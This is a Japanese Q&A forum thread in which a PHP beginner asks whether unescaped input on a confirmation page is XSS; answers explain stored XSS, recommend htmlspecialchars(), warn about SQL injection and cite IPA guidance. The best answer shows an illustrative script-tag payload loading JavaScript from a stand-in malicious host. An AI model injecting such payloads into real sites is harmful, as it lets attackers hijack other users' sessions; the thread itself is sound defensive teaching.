• ベストアンサー

これはXSS?

名前やEmailアドレスを入力してもらう機能を作ったのですが(PHP使用・ローカル環境)、入力チェックとして確認ページを表示させた際、入力データ(value変数?)にHTML文が入っているとそのまま反映されてしまいます。 (h1としたら大きな入力された名前が表示される) これは脆弱性に繋がりますでしょうか。またこれがXSSの場合どんな被害が発生しますか? HTML・PHP素人なので対策方法など教えて頂けると幸いです。 ご教授の方、よろしくお願い致します。

質問者が選んだベストアンサー

  • ベストアンサー
  • dscripty
  • ベストアンサー率51% (166/325)
回答No.2

入力したデータをそのまま保存して、表示に使うとするよ。 自分の入力した名前を公開することができて、他の人が閲覧できるとするよ。 1) Aさんは akuinoaru-user.com サーバの / に akuinoaru.js を作ったよ。 2) Aさんが名前の欄に次の行を入力したよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> 3) Bさんが、質問者さんのサイトにログインしたよ。 4) Bさんが、Aさんの名前をみたよ。 5) すると、次の行がBさんのブラウザで実行されるよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> これがどういうことかというと。 Bさんが質問者さんのサイトにログイン中にしか表示されないはずの情報が、Aさんは見ることができるよ。 Bさんが質問者さんのサイトにログイン中にしかできないはずの操作が、Aさんにできてしまうよ。 これが XSS の脆弱性。 もちろん、サイトの管理者さんがログイン中にAさんの名前をみたら、 サイトの管理者さんしか見ることができない情報をAさんはみることができて、 サイトの管理者さんしかできないはずの操作をAさんができることになるよ。 怖いね。 対策例の一つだけど、 入力データを表示するときは htmlspecialchars(入力データ) を使うことだよ。 これで、Aさんの名前を表示しても akuinoaru.jp は実行されないで、次の行が名前として表示されるようになるよ。 <script type="text/javascript" src="http://akuinoaru-user.com/akuinoaru.js"></script> XSS よりもっと怖いのが、入力データの表示ではなくて、ほかの目的で使うときだよ。 例えば、入力データを保存するために、データベースにデータを送るよね。 このときに SQL 文を作るけど、入力データをそのまま SQL 文に含めると「SQLインジェクション」の脆弱性の出来上がり! これは、PHP が使うデータベースのユーザ権限でできるデータベース操作を、誰でも、いつでも、何でも、自由にできてしまう脆弱性だよ。 恐ろしいね。 つまり、ユーザが入力したデータを使って何かを処理するときは、データにどのような文字列が入っていたとしても、その処理に合わせて、データを加工してから使うようにしなければ、脆弱性になるということだよ。 データ表示のときは htmlspecialchars() をつかったけど、ほかの処理はそれぞれ加工の仕方が変わるから、どんなときでもこれをすれば大丈夫という便利なものは無いんだ。 精進あるのみだね。

whiterozes
質問者

お礼

これは怖いですね。もうちょっとしっかり勉強してからwebサイトを作ってみたいと思います。ありがとうございました!

その他の回答 (1)

  • t_ohta
  • ベストアンサー率38% (5253/13739)
回答No.1

確認ページだけの問題なら対したことは無いかもしれませんが、その後で入力されたデータを元に処理を行う場合、注意が必要です。 処理の内容によっては、サーバ内で関係ないプログラムを実行されたり、データベースの内容を改竄したり、別人の情報を閲覧させたりと、いろいろな問題の原因になってしまいます。 まずはIPAの資料なりを一読されるのがいいでしょう。(参考URLをご参照下さい)

参考URL:
http://www.ipa.go.jp/security/vuln/websecurity.html
whiterozes
質問者

お礼

IPAって基本情報試験ぐらいしかしてないと思っていました。これはとても参考になります。ありがとうございました!

関連するQ&A

専門家に質問してみよう